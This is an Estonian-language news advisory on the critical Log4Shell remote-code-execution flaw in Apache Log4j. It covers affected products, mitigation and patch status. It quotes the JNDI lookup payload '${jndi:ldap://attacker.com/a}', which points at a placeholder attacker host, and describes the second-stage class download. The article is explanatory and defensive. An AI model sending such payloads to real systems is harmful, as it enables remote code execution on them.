Kohutav haavatavus Apache Log4j-s, mis mõjutab paljusid Java-projekte

Apache Log4j, populaarne logimise raamistik Java-rakendustes, on avastatud kriitiline haavatavus, mis võimaldab täita suvalist koodi, kui logitakse spetsiaalselt vormindatud väärtust vormingus «{jndi:URL}». Rünnak võib suunata Java-rakendustele, mis logivad väärtusi, mis on saadud välistest allikatest, näiteks probleemsete väärtuste väljastamine veateadetesse.

On märgitud, et probleemiga on haavatavad peaaegu kõik projektid, mis kasutavad selliseid raamistikku nagu Apache Struts, Apache Solr, Apache Druid või Apache Flink, sealhulgas Steam, Apple iCloud, Minecrafti kliendid ja serverid. Oodata on, et haavatavus võib põhjustada ulatuslikku rünnakute laine ettevõtte rakendustele, korrates kriitiliste haavatavuste ajalugu Apache Strutsi raamistikus, mida veebirakendustes kasutab hinnanguliselt 65% Fortune 100 ettevõtetest. Juba on registreeritud katseid võrgu skaneerimiseks haavatavate süsteemide leidmiseks.

Probleem süveneb veelgi, kuna juba on avaldatud töötav eksploit, kuid stabiilsete harude jaoks ei ole praegu lahendusi välja töötatud. CVE-ID-d ei ole veel määratud. Lahendus on lisatud ainult testiversiooni log4j-2.15.0-rc1. Rünnakute vältimiseks soovitatakse seada parameeter log4j2.formatMsgNoLookups väärtusele true.

Probleem tekkis, kuna log4j toetab erimaskide «{}» töötlemist logifaili väljundites, kus võisid toimuda JNDI (Java Naming and Directory Interface) päringud. Rünnak seisneb stringi edastamises koos asendusega «${jndi:ldap://attacker.com/a}», mille töötlemise käigus saadab log4j päringu server attacker.com LDAP-päring JAVA klassi tee kohta. Tagasi saadetud serveriga ründaja tee (näiteks http://second-stage.attacker.com/Exploit.class) laaditakse ja toimib jooksva protsessi kontekstis, andes ründajale võimaluse käivitada süsteemis juhuslikku koodi, kasutades praeguse rakenduse õigusi.

Lisa 1: Haavatavusele on antud identifikaator CVE-2021-44228.

Lisa 2: Leidti turvameetmete ümbersõitmise meetod, mis on lisatud versioonile log4j-2.15.0-rc1. Uus värskendus log4j-2.15.0-rc2 on pakutud, et pakkuda põhjalikumat kaitset haavatavuse vastu. Koodis on esile tõstetud muudatus, mis on seotud äärmiselt toksilise JNDI URL-i vale vormindamise juhtumite käsitlemise puudumisega.

Allikas: opennet.ru